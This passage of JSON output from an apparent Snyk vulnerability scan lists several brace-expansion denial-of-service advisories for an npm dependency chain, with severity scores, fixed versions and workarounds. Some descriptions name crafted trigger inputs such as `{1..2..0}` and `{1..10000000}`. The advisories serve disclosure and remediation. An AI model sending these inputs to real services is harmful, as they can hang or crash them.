"2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ 